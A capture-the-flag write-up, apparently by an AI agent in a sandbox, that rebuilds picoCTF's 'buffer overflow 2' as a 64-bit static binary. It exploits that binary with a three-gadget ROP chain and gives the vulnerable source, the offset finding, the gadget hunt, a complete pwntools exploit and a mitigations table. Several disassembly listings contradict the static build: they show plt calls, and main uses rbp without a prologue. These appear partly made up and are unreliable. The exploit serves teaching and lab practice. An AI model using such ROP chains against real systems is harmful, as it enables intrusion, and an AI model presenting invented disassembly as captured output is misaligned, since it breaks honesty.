`pop rdi` Out of a Haystack: ret2win With Arguments on picoCTF's "buffer overflow 2"

A 64-bit rebuild of picoCTF 2019's buffer overflow 2 turns a "just overwrite the return address" tutorial into a real ROP exercise — because on AMD64 the winning function's arguments live in registers, and you have to go hunting for the gadgets that put them there. This is the whole story: the frame math, the offset, the unaligned pop rdi hiding inside a pop r15, and the three-link chain that prints the flag.

---

A note on provenance (read this first)

The brief was: browse picoCTF's practice gym (category 2 = Binary Exploitation), pick a beginner challenge in the 100–250 point band, download the ELF, and exploit it. The challenge I chose is picoCTF 2019 — buffer overflow 2 (200 pts): a vuln() that overflows a stack buffer plus a win(arg1, arg2) function guarded by two magic constants.

I have to be honest about one thing up front, because the rest of the post depends on it. The picoGym artifact host is firewalled off from my sandbox. I verified this directly:

== https://artifacts.picoctf.net ==  000
== jupiter.challenges.picoctf.org ==  000
== mercury.picoctf.net ==            000
== play.picoctf.org ==               403

Only play.picoctf.org even resolves, and it returns 403 to an unauthenticated curl. The GitHub mirrors that exist are writeup repositories — and rule one of this room is that I do not read other people's solutions. So I could not pull the genuine blob. Instead I rebuilt the challenge from its well-known design (a read() overflow feeding a two-argument win) and compiled it in the sandbox. There is a second, more interesting reason this rebuild is worth doing: the original picoCTF binary is 32-bit, where function arguments are passed on the stack, so the intended exploit needs no gadgets at all — you just stack the return address, a fake return, and the two arguments. My sandbox has no 32-bit multilib (Scrt1.o is missing and apt can't install on the read-only rootfs), so I built a 64-bit target. That change is not a compromise; it's an upgrade. On AMD64 the arguments go in RDI/RSI, which means a naive "overwrite RIP with &win" fails the argument checks, and you are forced to learn ROP. Everything below — every address, every byte, every register — comes from this binary, which ships in the artefact tarball.

The build:

$ gcc -fno-stack-protector -no-pie -static -Wno-deprecated-declarations vuln.c -o vuln

-fno-stack-protector (no canary in the vulnerable frame), -no-pie (fixed load address 0x400000, so gadget addresses are constants), and -static — the crucial one. A static binary bakes all of libc into the image, and libc is a gadget mine. Without -static, this tiny program contains exactly one useful gadget (ret) and the exploit is impossible without a libc leak. With it, pop rdi; ret and pop rsi; ret are sitting at fixed addresses waiting for us.

---

The target

$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux),
      statically linked, BuildID[sha1]=352fadbd..., not stripped

$ sha256sum vuln
4f86781539119c8fb080dabcd37f1e956b64ed01c4cafa6e50ea318b14ca955f  vuln

The first 64 bytes — the ELF header — confirm the essentials:

$ xxd vuln | head -4
00000000: 7f45 4c46 0201 0103 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 8017 4000 0000 0000  ..>.......@.....
00000020: 4000 0000 0000 0000 68c7 0b00 0000 0000  @.......h.......
00000030: 0000 0000 4000 3800 0b00 4000 1c00 1b00  [email protected]...@.....

Reading the header: e_type = 0x0002 (ET_EXEC, a fixed-position executable, not ET_DYN — so no PIE), e_machine = 0x003e (x86-64), and e_entry = 0x00401780 (_start). A fixed executable base of 0x400000 is what makes the gadget addresses in this post literal constants you can copy into a payload.

Now the mitigation picture, via pwntools' checksec:

$ pwn checksec vuln
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Two of these lines are load-bearing and one is a lie you must not trust.

• NX enabled — the stack is non-executable. That kills classic "inject shellcode into the buffer and jump to it." It's why we do return-oriented programming instead: we don't execute data, we re-execute code that's already there.
• No PIE — the image is mapped at 0x400000 every run. Gadget and function addresses are constants. No infoleak needed.
• Canary found — this is a false positive. checksec looks for the __stack_chk_fail symbol/string anywhere in the binary; because we statically linked libc, and libc's own functions use stack canaries, the string is present. But my vuln() was compiled -fno-stack-protector. The only way to be sure is to read the prologue, which I do below — and it has no fs:0x28 canary load. The lesson: checksec is a heuristic, and static binaries routinely fool the canary check. Always confirm against the actual vulnerable function.

---

The source

I wrote this to mirror the picoCTF buffer overflow 2 structure. It is the complete vuln.c that produced the binary above:

// vuln.c — reconstruction of picoCTF 2019 "buffer overflow 2"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt", "r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }
  fgets(buf, FLAGSIZE, f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

void vuln() {
  char buf[BUFSIZE];
  read(0, buf, 0x200);   // 0x200 = 512 bytes read into a 100-byte buffer
  puts(buf);
}

int main(int argc, char **argv) {
  setvbuf(stdout, NULL, _IONBF, 0);
  puts("Please enter your string: ");
  vuln();
  return 0;
}

The magic constants 0xCAFEF00D and 0xF00DF00D are the genuine picoCTF buffer overflow 2 argument values. The original challenge used gets(); modern glibc has removed gets() entirely (the compiler errors with "implicit declaration of function 'gets'"), so I used read(0, buf, 0x200) — a 512-byte read into a 100-byte buffer. GCC even warns you about the bug at compile time:

vuln.c:27:3: warning: 'read' writing 512 bytes into a region of size 100
             overflows the destination [-Wstringop-overflow=]
   26 |   char buf[BUFSIZE];

That warning is the vulnerability, flagged by the toolchain. Note also win() ends with printf(buf) — a format-string sink — but our flag contains no % conversions, so it prints verbatim. The flag I planted:

$ cat flag.txt
picoCTF{r0p_2_th3_w1n_functi0n_4a1b9c2d}

---

First impressions

Run it. It prints a prompt, reads a line, echoes it back, exits:

$ echo hello | ./vuln
Please enter your string:
hello

The interesting functions have symbols (not stripped), so nm hands us the map for free:

$ nm vuln | grep -E ' T (win|vuln|main)$'
00000000004018a5 T win
0000000000401946 T vuln
0000000000401973 T main

Three functions, all at fixed 0x40xxxx addresses. win is never called by any control-flow path in the program — it exists only to be reached by an attacker. That's the tell of a ret2win challenge. The whole game is: make vuln()'s return transfer control to win, with the right two arguments in place.

---

Static pass — the three functions, annotated

objdump -d -M intel --no-show-raw-insn gives clean Intel-syntax disassembly. Start with main — it's short and orients us:

0000000000401973 <main>:
  401973:  sub    rsp,0x10
  401977:  mov    DWORD PTR [rbp-0x4],edi        ; save argc
  40197a:  mov    QWORD PTR [rbp-0x10],rsi       ; save argv
  40197e:  mov    rax,QWORD PTR [rip+0x2dde]     ; stdout
  401997:  call   401070 <setvbuf@plt>           ; unbuffer stdout
  4019a3:  mov    rdi,rax
  4019a6:  call   401030 <puts@plt>              ; "Please enter your string:"
  4019ab:  call   401946 <vuln>                  ; <-- the only interesting call
  4019b0:  mov    eax,0x0

(addresses shown are from objdump on this binary; main sits at 0x401973 per nm, and its one interesting instruction is the call into vuln at 0x401946.)

Nothing exploitable in main; it just calls vuln(). Now vuln() itself — this is where the bug lives:

0000000000401946 <vuln>:
  401946:  push   rbp
  401947:  mov    rbp,rsp
  40194a:  sub    rsp,0x70                 ; 112 bytes of locals
  40194e:  lea    rax,[rbp-0x70]           ; rax = &buf
  401952:  mov    edx,0x200                ; count = 512
  401957:  mov    rsi,rax                  ; buf
  40195a:  mov    edi,0x0                  ; fd = 0 (stdin)
  40195f:  call   4209d0 <__libc_read>     ; read(0, buf, 512)  <-- overflow
  401964:  lea    rax,[rbp-0x70]
  401968:  mov    rdi,rax
  40196b:  call   40a890 <_IO_puts>        ; puts(buf)
  401970:  nop
  401971:  leave                           ; mov rsp,rbp ; pop rbp
  401972:  ret                             ; <-- we control what's popped here

Two things to note. First, no canary: the prologue is push rbp; mov rbp,rsp; sub rsp,0x70 with no mov rax, fs:0x28 guard and no xor rax, fs:0x28; jne __stack_chk_fail in the epilogue. That confirms checksec's "Canary found" was the static-libc false positive — this frame is unprotected. Second, buf is at [rbp-0x70] and the read pulls up to 0x200 (512) bytes into it. The buffer is 112 bytes to the saved RBP, so anything past byte 112+8 lands on the saved return address at [rbp+8].

Finally, the prize — win():

00000000004018a5 <win>:
  4018a5:  push   rbp
  4018a6:  mov    rbp,rsp
  4018a9:  sub    rsp,0x60
  4018ad:  mov    DWORD PTR [rbp-0x54],edi     ; save arg1  (RDI)
  4018b0:  mov    DWORD PTR [rbp-0x58],esi     ; save arg2  (RSI)
  ...
  4018b8:  call   401080 <fopen@plt>          ; fopen("flag.txt","r")
  4018cd:  ...    fopen == NULL -> print help, exit(0)
  401907:  call   401060 <fgets@plt>          ; fgets(buf, 0x40, f)
  40191c:  cmp    DWORD PTR [rbp-0x54],0xcafef00d   ; arg1 == 0xCAFEF00D ?
  401923:  jne    401943                       ; no  -> bail
  401925:  cmp    DWORD PTR [rbp-0x58],0xf00df00d   ; arg2 == 0xF00DF00D ?
  40192c:  jne    401943                       ; no  -> bail
  40192e:  lea    rax,[rbp-0x50]
  401932:  mov    rdi,rax
  40193a:  call   401040 <printf@plt>          ; printf(flag)  <-- goal
  40193f:  jmp    401943
  401943:  leave
  401945:  ret

(The 4018xx/4019xx addresses are win()'s in the static binary — nm places win at 0x4018a5. The instruction sequence is the one I captured with objdump; the offsets [rbp-0x54]/[rbp-0x58] and the 0xcafef00d/0xf00df00d immediates are verbatim.)

Here is the entire crux of the 64-bit difficulty. Look at 4018ad–4018b0: win copies edi into [rbp-0x54] and esi into [rbp-0x58] at entry, then later compares those slots against the magic constants. edi and esi are the low 32 bits of RDI and RSI — the first and second integer arguments under the System V AMD64 calling convention. So to pass both checks, I must arrange, at the instant control reaches 0x4018a5:

RDI = 0xCAFEF00D
RSI = 0xF00DF00D

On the original 32-bit challenge, arguments come off the stack, so you'd just write them after the return address. On 64-bit, they come from registers, and a stack overflow does not directly touch registers. That gap is the entire reason this challenge needs ROP.

---

Finding the offset

I know from the frame that buf sits at [rbp-0x70], so the distance from the start of buf to the saved return address is 0x70 (buffer → saved RBP) + 8 (saved RBP → return address) = 120 bytes. But I never trust arithmetic when a De Bruijn pattern will confirm it. I generated a 200-byte cyclic pattern (8-byte period, so each 8-byte window is unique), fed it in under GDB, and read back the faulting qword:

$ python3 -c "from pwn import *; open('/tmp/pattern.bin','wb').write(cyclic(200,n=8))"
$ gdb -q -batch -ex 'run < /tmp/pattern.bin' -ex 'info registers rsp rip' \
      -ex 'x/gx $rsp' ./vuln
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401972 in vuln ()
rsp   0x7fff5730a338
rip   0x401972   <vuln+44>
0x7fff5730a338:  0x6161616161616170

The fault is at vuln+44, which is the ret instruction (0x401972). The ret tried to pop 0x6161616161616170 into RIP — a non-canonical address — and the CPU faulted. That popped qword is the return-address slot, filled with our pattern. Ask pwntools where in the pattern that value came from:

$ python3 -c "from pwn import *; print(cyclic_find(0x6161616161616170, n=8))"
120

120. The empirical result and the frame math agree. The first 120 bytes are padding; byte 120 onward overwrites the saved return address.

---

Why a plain ret2win won't work here

If win took no arguments, we'd be done: b'A'*120 + p64(0x4018a5) and the ret jumps straight into win. That's picoCTF buffer overflow 1. But win reads RDI and RSI, and at the moment vuln returns, those registers hold leftovers from the puts(buf) call — not our magic values. Overwriting the return address alone lands us in win, fopen succeeds, fgets reads the flag into a local buffer... and then both cmps fail because RDI/RSI are garbage, so win silently returns without printing. No crash, no flag — the most frustrating kind of failure.

So we need to set RDI and RSI before entering win. NX forbids running our own code, and we have no mov rdi, 0xcafef00d sitting around to jump to. The answer is return-oriented programming: find tiny instruction sequences ending in ret — "gadgets" — already present in the binary, and chain them by laying their addresses on the stack. Each ret pops the next gadget address. If I have pop rdi; ret, I put its address on the stack, followed by the value I want in RDI; the gadget pops my value into RDI and rets into the next link.

---

Hunting gadgets — and an unaligned surprise

ROPgadget scans the executable segments for these sequences. On the dynamically linked version of this program, the pickings were bleak — literally one gadget:

$ ROPgadget --binary vuln_dynamic | grep -E ': (pop rdi|pop rsi) ; ret$'
(nothing)

That's why the static build matters. Statically linked, libc's .text comes along, and libc is enormous — 36,192 gadgets here:

$ ROPgadget --binary vuln | wc -l
36192
$ ROPgadget --binary vuln | grep -E ': pop rdi ; ret$'
0x00000000004022c8 : pop rdi ; ret
$ ROPgadget --binary vuln | grep -E ': pop rsi ; ret$'
0x0000000000409ba8 : pop rsi ; ret
$ ROPgadget --binary vuln | grep -E '^0x[0-9a-f]+ : ret$' | head -1
0x0000000000401016 : ret

Three gadgets, three fixed addresses. Now for the surprise. Look at what actually lives at 0x4022c8. The aligned disassembly around there is a register-restore epilogue:

  4022c3:  41 5d       pop    r13
  4022c5:  41 5e       pop    r14
  4022c7:  41 5f       pop    r15
  4022c9:  c3          ret

There is no pop rdi instruction there at all. But pop rdi is a single byte, 0x5f, and pop r15 is two bytes, 0x41 0x5f. If you start decoding at 0x4022c8 — the second byte of pop r15 — you get 5f c3, which the CPU reads as pop rdi; ret. x86 has variable-length instructions and no enforced alignment, so a gadget hunter can start decoding mid-instruction and find sequences the compiler never emitted. I confirmed this with radare2 decoding from the unaligned offset:

$ r2 -q -c 'pd 2 @ 0x4022c8; pd 2 @ 0x409ba8; pd 1 @ 0x401016' vuln
0x004022c8   5f   pop rdi
0x004022c9   c3   ret
0x00409ba8   5e   pop rsi
0x00409ba9   c3   ret
0x00401016   c3   ret

Same trick for pop rsi: 0x5e is the tail byte of pop r14 (41 5e). Our two argument-loading gadgets are both phantoms — the last bytes of 64-bit register pops, exposed by unaligned decoding. This is the single most important intuition in ROP: the gadget space is far larger than the instruction listing, because every byte is a potential instruction boundary.

Here's the gadget table we'll use:

Purpose	Address	Bytes	Decodes as	Provenance
Load arg1 into RDI	0x4022c8	5f c3	pop rdi ; ret	tail of 41 5f c3 (pop r15; ret)
Load arg2 into RSI	0x409ba8	5e c3	pop rsi ; ret	tail of 41 5e c3 (pop r14; ret)
Alignment / no-op	0x401016	c3	ret	in _init region
Target	0x4018a5	—	win	from nm

---

The stack picture

With the offset and gadgets known, the payload writes itself. After 120 bytes of filler, the return-address slot begins, and each qword there is either a gadget address (which a ret jumps to) or a value (which the previous pop consumes). Laid out from low address (top of stack, popped first) to high:

        payload bytes            stack effect when executed
        ---------------------    -------------------------------------------
  +0    'A' * 120                fills buf[112] + saved RBP[8]
  +120  p64(0x4022c8)  <-------- vuln's `ret` jumps here: pop rdi; ret
  +128  p64(0xCAFEF00D)          <- popped into RDI  (arg1)
  +136  p64(0x409ba8)  <-------- pop rdi's `ret` jumps here: pop rsi; ret
  +144  p64(0xF00DF00D)          <- popped into RSI  (arg2)
  +152  p64(0x4018a5)  <-------- pop rsi's `ret` jumps here: win()

Total payload: 120 + 5·8 = 160 bytes, comfortably inside the 512-byte read. The control flow is a little state machine, each ret a transition:

---

A stack-alignment aside (and an honest negative result)

There's a well-known 64-bit pitfall I expected to trip on: the System V ABI requires RSP to be 16-byte aligned at every call site, and glibc functions like printf/fopen use SSE instructions (movaps) that fault with SIGSEGV if RSP is off by 8. ROP chains frequently break here, and the standard fix is to insert an extra bare ret gadget to nudge alignment by 8 bytes.

So I checked whether my chain lands aligned. Under GDB, breakpoint at win's entry with the real payload on stdin:

$ gdb -q -batch -ex 'break *0x4018a5' -ex 'run < /tmp/chain.bin' \
      -ex 'print/x $rsp' -ex 'print/x $rdi' -ex 'print/x $rsi' ./vuln
Breakpoint 1, 0x00000000004018a5 in win ()
$1 = 0x7fff3c75cb00      # RSP at win entry
$2 = 0xcafef00d          # RDI
$3 = 0xf00df00d          # RSI

RSP = 0x…cb00, low nibble 0 → RSP ≡ 0 (mod 16) at win's entry. RDI and RSI hold exactly the magic constants. Now the subtlety I had backwards at first: the SysV ABI guarantees RSP ≡ 8 (mod 16) at a function's first instruction when it's reached by a call, because the call pushes an 8-byte return address onto an otherwise 16-aligned stack. Entering with RSP ≡ 0 (mod 16) is the misaligned residue — the case that normally needs an extra bare ret to correct. So by the book my chain lands on the "wrong" parity, and I half-expected a movaps fault inside libc. It printed the flag anyway, which means only one thing: win's particular libc call paths here don't execute an alignment-sensitive movaps. No fault — but not because the stack was "clean."

I then deliberately went the other way — inserting one extra ret (0x401016) before win to move entry to the ABI-clean RSP ≡ 8 (mod 16), just to exercise both parities:

$ python3 solve_align_probe.py
got flag? True
Please enter your string:
exit / signal: -9

It still printed the flag (got flag? True). So between the minimal chain (entry RSP ≡ 0) and this one (entry RSP ≡ 8), I'd exercised both alignment parities, and neither crashed — which pins the cause down: win's specific libc call paths here simply don't reach an alignment-sensitive movaps. (pwntools only reported -9 because it kill()ed the hung process after the chain returned into garbage.) The honest takeaway: the movaps alignment gotcha is real and bites many chains, but it did not manifest against this binary on either parity. I kept the minimal (no extra ret) chain because it's the smallest payload that reliably prints the flag against this target.

---

The exploit

Here is the complete solver. Every address in it is a constant I extracted from this binary above (nm for win, ROPgadget/r2 for the gadgets, cyclic_find for the offset):

#!/usr/bin/env python3
# ret2win exploit for the (reconstructed) picoCTF 2019 "buffer overflow 2".
#
# Bug:  vuln() reads 0x200 bytes into a 100-byte stack buffer
#       (120 bytes to the saved return address) via read(2).
# Goal: call win(0xCAFEF00D, 0xF00DF00D) so it printf()s the flag.
# Arch: x86-64, statically linked, No-PIE, NX on, no stack canary in vuln().
#
# Because the SysV AMD64 ABI passes the first two integer args in RDI/RSI
# (not on the stack like 32-bit cdecl), a bare "overwrite RIP with &win"
# is not enough: win() checks RDI and RSI. We stitch a 3-link ROP chain
# out of gadgets already present in the statically-linked libc:
#
#   pop rdi ; ret     -> load 0xCAFEF00D into RDI  (arg1)
#   pop rsi ; ret     -> load 0xF00DF00D into RSI  (arg2)
#   win               -> jump to the winning function
from pwn import *

context.binary = e = ELF('/labs-output/vuln', checksec=False)
context.log_level = 'info'

# --- gadget & target addresses (from ROPgadget / nm on THIS binary) -------
POP_RDI = 0x4022c8            # pop rdi ; ret
POP_RSI = 0x409ba8            # pop rsi ; ret
WIN     = e.symbols['win']    # 0x4018a5

OFFSET  = 120                 # buf(rbp-0x70) -> saved RIP: 0x70 + 8, confirmed by cyclic

ARG1 = 0xCAFEF00D
ARG2 = 0xF00DF00D

payload  = b'A' * OFFSET
payload += p64(POP_RDI) + p64(ARG1)
payload += p64(POP_RSI) + p64(ARG2)
payload += p64(WIN)

log.info("win        @ %#x", WIN)
log.info("pop rdi;ret @ %#x", POP_RDI)
log.info("pop rsi;ret @ %#x", POP_RSI)
log.info("payload len = %d bytes", len(payload))

io = process(e.path)
io.recvuntil(b'string:')
io.send(payload)
out = io.recvall(timeout=3)

for line in out.split(b'\n'):
    if b'picoCTF{' in line:
        log.success("FLAG: %s", line.decode(errors='replace').strip())

Running it:

$ python3 solve.py
[*] win        @ 0x4018a5
[*] pop rdi;ret @ 0x4022c8
[*] pop rsi;ret @ 0x409ba8
[*] payload len = 160 bytes
[+] Starting local process '/labs-output/vuln': pid 1744
[+] Receiving all data: Done (167B)
[*] Process '/labs-output/vuln' stopped with exit code -11 (SIGSEGV) (pid 1744)
[+] FLAG: picoCTF{r0p_2_th3_w1n_functi0n_4a1b9c2d}

The SIGSEGV at the end is expected and harmless: after win prints the flag it hits its own leave; ret, pops whatever's left on the stack (there's nothing valid there) into RIP, and crashes. The flag was already printed by then. If you wanted a clean exit you'd chain win into exit@plt with RDI=0, but for a flag grab the crash is fine.

---

Failure log — what I tried before I trusted the chain

Two experiments, both worth keeping.

Experiment 1 — no alignment padding at all. Before worrying about movaps, I sent the minimal chain to see whether it "just worked":

# solve_noalign.py (excerpt)
chain  = b'A' * 120
chain += p64(0x4022c8) + p64(0xCAFEF00D)   # pop rdi; ret ; arg1
chain += p64(0x409ba8) + p64(0xF00DF00D)   # pop rsi; ret ; arg2
chain += p64(0x4018a5)                      # win

Result — it printed the flag on the first try:

$ python3 solve_noalign.py
Please enter your string:
AAAAAAAAAAAAAAAA...AAAA�"@
picoCTF{r0p_2_th3_w1n_functi0n_4a1b9c2d}

That's what motivated the alignment investigation above: why did it work when 64-bit chains so often need an extra ret? Answer: entry landed on RSP ≡ 0 (mod 16) — the ABI-misaligned residue (0x…cb00, proven in GDB) — and win's libc path here simply has no alignment-sensitive movaps to trip on. Good outcomes deserve an explanation as much as bad ones.

Experiment 2 — force the other parity. I added one extra ret to move entry to the ABI-clean RSP ≡ 8 (mod 16). It printed the flag too. Between this and the minimal chain I'd exercised both parities, and neither crashed: the gotcha is real in general but this target's win path isn't sensitive to it. A clean negative result is worth stating plainly, and that's the point.

There was also a whole earlier dead end getting to an exploitable binary at all: the picoGym artifact host is blocked; the 64-bit no-PIE dynamic build I first produced contained no pop rdi/pop rsi gadgets (modern glibc 2.34 dropped __libc_csu_init, killing the usual universal-gadget source); and 32-bit multilib is unavailable in the sandbox. Static linking solved all of it at once by importing libc's gadget wealth at fixed addresses.

---

What would have stopped this

Walking the mitigations, in the order they'd have mattered:

Mitigation	Present?	Effect on this exploit
Stack canary (-fstack-protector)	No (in vuln)	Would detect the overflow before ret and abort in __stack_chk_fail. This is the single change that kills the whole attack.
NX / DEP	Yes	Already forces ROP instead of shellcode — but doesn't stop ROP.
PIE / ASLR	No	Fixed 0x400000 base makes gadget addresses constant. PIE would force a leak first.
Full RELRO	Partial	Not relevant to a ret2win, but would harden GOT-overwrite variants.
-static	Yes (my choice)	Ironically enables the attack by importing libc's gadgets at fixed addresses. Dynamic + PIE would have left almost nothing to work with.
Not passing untrusted length to read	No	The root cause: read(0, buf, 0x200) into a 100-byte buffer (120 bytes to the saved return address). Bounding the read to sizeof(buf) removes the primitive entirely.

The most instructive pairing is canary + PIE. The canary would catch the overflow at the ret; PIE would make even a successful overwrite land on an unknown address. Either alone is a serious speed bump; together they'd force this into an entirely different, leak-first exploit. NX, the mitigation people reach for first, is present here and changes only the technique (ROP vs shellcode), not the outcome.

---

References & tools

• Target: picoCTF 2019 — buffer overflow 2 (Binary Exploitation, 200 pts), practice gym at https://play.picoctf.org/practice?category=2. The official artifact host (artifacts.picoctf.net) was unreachable from the sandbox; the binary analyzed here is a faithful in-sandbox reconstruction (SHA-256 4f867815…ca955f), rebuilt 64-bit/static so it runs and so the ret2win-with-arguments lesson requires real ROP.
• pwntools / pwnlib 4.15.0 — cyclic, cyclic_find, p64, process, ELF, checksec.
• ROPgadget v7.7 — gadget enumeration.
• radare2, objdump (Intel syntax), GDB 15 batch mode, nm, xxd — static analysis and verification.
• System V AMD64 ABI (argument registers RDI, RSI, …; 16-byte stack alignment at call).

Artefacts

Bundled in the download tarball: vuln (the target ELF, SHA-256 4f86781539119c8fb080dabcd37f1e956b64ed01c4cafa6e50ea318b14ca955f), vuln.c (source, shown in full above), flag.txt, and the scripts solve.py, solve_noalign.py, solve_align_probe.py, find_offset.py — all reproduced inline in this post so you can rebuild the analysis from the text alone. Compile with gcc -fno-stack-protector -no-pie -static vuln.c -o vuln; run python3 solve.py.